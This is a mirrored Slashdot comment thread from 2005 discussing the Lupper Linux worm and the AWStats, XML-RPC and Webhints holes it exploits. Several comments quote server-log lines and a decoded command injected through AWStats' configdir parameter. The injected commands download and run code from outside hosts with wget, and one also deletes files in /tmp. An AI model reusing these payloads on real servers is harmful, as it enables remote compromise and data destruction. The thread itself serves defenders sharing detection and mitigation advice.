Slashdot Mirror


Linux Lupper.Worm In the WIld

jurt1235 writes "McAfee reports that a Linux worm has been found in the wild. The Linux/Lupper.worm is a derivative of the Linux/Slapper worm which also exists for BSD, just to be crossplatform. From the McAfee description: The worm blindly attacks web servers by sending malicious http requests on port 80. If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed."

22 of 363 comments (clear)

  1. Re:Remarkably Useless page. by TheSpoom · · Score: 3, Informative

    It doesn't say what software it tries to exploit but it does say which scripts. I'd post them here but it would be a waste of space; they're about halfway down on the McAfee page.

    I'd say if your website has one of those scripts I'd look into updating or removing whatever software it is that has the vulnerability.

    --
    It's better to vote for what you want and not get it than to vote for what you don't want and get it.
    - E. Debs
  2. Re:Remarkably Useless page. by gowen · · Score: 5, Informative
    According to ZDNet/Symantec
    "The worm exploits three vulnerabilities to propagate: the XML-RPC for PHP Remote Code Injection vulnerability; AWStats Rawlog Plugin Logfile Parameter Input Validation vulnerability; and Darryl Burgdorf's Webhints Remote Command Execution Vulnerability, according to Symantec's online description of the worm.

    The XML-RPC flaw affects blogging, wiki and content management software and was discovered earlier this year. Patches are available for most systems. AWStats is a log analyzer tool; a fix for the flaw has been available since February. Darryl Burgdorf's Webhints is a hint generation script; no fixes are available for the script, according to Symantec's DeepSight Alert Services."
    --
    Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
  3. Re:PHP exploit, not directly a linux problem? by mysqlrocks · · Score: 5, Informative

    Calling it a PHP exploit would be wrong as well. It's an exploit of specific applications written in PHP (AWStats and Drupal from what I could tell).

  4. Short of detail by QuaintRealist · · Score: 4, Informative

    So here is some, shamelessly cribbed from e-week. The worm actually attemts to attack three different web services:

    "The XML-RPC hole commonly exists in blogging and Wiki programs. There are now fixes available for this hole for most systems.

    AWStats is a popular, open-source log-file analyzer. Only servers which run AWStats 5.0 to 6.3 can be attacked. Versions 6.4, which came out in March, and higher are immune.

    Finally, Webhints is an older script program that's designed to set up and maintain a "Hint (Quote/Tip/Joke/Whatever) of the Day" page. Version 1.3 is vulnerable to attack. There is, at this time, no known fix for the program. "

    This still does not tell me which blogging/wiki programs are affected, only theat "most" have fixes - more info, anyone?

    --
    Using plain ol' text since 1968
    1. Re:Short of detail by jurt1235 · · Score: 2, Informative
      --

      My wife's sketchblog Blob[p]: Gastrono-me
  5. Does it look like this? by Mabonus · · Score: 5, Informative

    I just noticed this today, and from what I've heard here it sounds a likely candidate. IP addresses obscured for politeness.

    193.166.84 - - [04/Nov/2005:15:10:10 -0700] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bc hmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193 %2e244;echo%20YYY;echo| HTTP/1.1" 404 224 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:12 -0700] "GET /scgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd %20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3b chmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e19 3%2e244;echo%20YYY;echo| HTTP/1.1" 404 225 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:14 -0700] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bc hmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193 %2e244;echo%20YYY;echo| HTTP/1.1" 401 3787 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    .
    .
    .
    193.166.84 - - [04/Nov/2005:15:10:31 -0700] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 223 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:33 -0700] "POST /blog/xmlrpc.php HTTP/1.1" 404 221 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:34 -0700] "POST /drupal/xmlrpc.php HTTP/1.1" 404 223 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    .
    .
    .
    For 60 hits.

  6. Other links by AndroidCat · · Score: 4, Informative
    --
    One line blog. I hear that they're called Twitters now.
  7. a decent description by munkt0n · · Score: 1, Informative

    a decent description can be found here http://isc.sans.org/diary.php?storyid=823

  8. Re:Conditions for infection... by smoking2000 · · Score: 5, Informative
    The command it runs is:
    |echo;echo YYY;cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen 216.102.212.115;echo YYY;echo|
    It is passed to awstats.pl in a request like:
    GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bc hmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e 212%2e115;echo%20YYY;echo| HTTP/1.1
    There are also POST request to xmlrpc.php pages, like:
    POST /drupal/xmlrpc.php HTTP/1.1
    So if you have /tmp mounted noexec this should not be a problem.
  9. Re:PHP exploit, not directly a linux problem? by rbochan · · Score: 3, Informative

    Calling it a PHP exploit would be wrong as well. It's an exploit of specific applications written in PHP (AWStats and Drupal from what I could tell).

    According to this article, AWStats was patched back in February.

    --
    ...Rob
    The American Dream isn't an SUV and a house in the suburbs; it's Don't Tread On Me.
  10. It's not Windows by max+born · · Score: 5, Informative

    From the Security Focus article: Affected systems will need to be wiped and have the OS reinstalled, in most cases.

    Apche usually runs as user nobody with very limited privileges. I doubt you'd need to wipe and reinstall the OS. That's why lupper runs in /tmp.

  11. Re:Conditions for infection... by Ramses0 · · Score: 2, Informative

    Damned slashdot eats my code examples. Re-post.

    It's Not configuration of apache, but configuration of PHP. Basically, it's whether you allow the following:

    [?php
        $foo = `ls`;

        $bar = include("http://foo.com/example.txt");
    ?]

    A lot of people have #1 (since they don't see the difficulty in allowing that, and in some cases it is hella-useful for hacking stuff together).

    #2 is just plain dumb.

    I don't remember what PHP ships with defaults nowadays (I think yes to shell commands at least), it's possible that they don't allow "http://" (remote file protocols) by default in their later releases.

    --Robert

  12. Re:if it attacks PHP cross-platform... by alexhs · · Score: 3, Informative

    ...then it's a PHP/*nix worm, not Linux specifically.

    Not exactly. From what I understood, there are BSD and Linux variants : both versions are using the same PHP holes, but the binary itself must be Linux or BSD compatible.

    There's a layer available in BSD that allows to run Linux binaries natively, so Linux potentially could infect a BSD system, but it is somewhat like saying an MS-Windows virus could infect a Linux through wine.

    Oh, and while we're at it, aren't these virii more specifically Linux/i386 and BSD/i386 virii ?

    --
    I have discovered a truly marvelous proof of killer sig, which this margin is too narrow to contain.
  13. an excerpt from my logs by Anonymous Coward · · Score: 3, Informative

    I checked my logs and found the following:
    [06/Nov/2005:18:13:39 -0500] "GET /stats/awstats/awstats.pl?configdir=|echo%20;cd%20 /tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20membe rs.lycos.co.uk/sugi/a.txt;perl%20a.txt;echo%20;rm% 20-rf%20a.txt*;echo| HTTP/1.1" 404 1030 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

    Why not get somebody to shut down members.lycos.co.uk/sugi/a.txt??

  14. Re:Conditions for infection... by PatMouser · · Score: 3, Informative

    Well, as of 9:30 AM central time 24.224.174.18 isn't accepting connections, so it's either been slashdotted or taken down.

  15. Re:Remarkably Useless page. by harlows_monkeys · · Score: 4, Informative
    More alarmist shit (and old news at tht - The Reg reported this last week)

    My web server logs for my home machine are full of attempts to exploit these holes, coming from a large number of IP addresses.

    This indicates that this is indeed in the wild, and active, and spreading.

    Thus, it is not alarmist shit.

  16. Re:Conditions for infection... by 6*7 · · Score: 3, Informative

    a noexec /tmp doesn't protect from running an interpreter with the script source in /tmp. Next version should simply include '/bin/sh /tmp/listen' instead to be fully functional.

  17. Re:CONTINUE: by Enahs · · Score: 2, Informative

    I'll step in just for giggles: Category Error

    --
    Stating on Slashdot that I like cheese since 1997.
  18. Re:Please Rate This Worm Info!! by pintpusher · · Score: 2, Informative

    YOu need to link to that page from the original virus description... then it works fine.

    --
    man, I feel like mold.
  19. AWStats is a PHP application? by smartfart · · Score: 4, Informative

    Um, AWStats isn't written in PHP, but in Perl. This isn't a PHP worm, it's a CGI exploit which happens to target PHP apps, plus the occasional Perl app.

  20. Re:Conditions for infection... by sanctimonius+hypocrt · · Score: 2, Informative

    Per Making /tmp non-executable:

    Mounting filesystems with these flags set raises the bar a little, but it doesn't stop files from being executed.

    What you need is defense in depth. Mounting /tmp noexec,nosuid helps; Keeping everything up-to-date helps; Scanning your log files, following the news,... You get the idea.

    And of course, hiring someone competent to do all this is a fine idea;)

  21. Re:Conditions for infection... by slackmaster2000 · · Score: 2, Informative

    Mounting tmp noexec won't stop scripts like this.

    Aside from keeping a system patched up, it's important on a web server to lock down all programs that aren't necessary for the operation of your web services. In typical setups there is absolutely no reason that the apache user should have to execute wget, although it will be able to by default.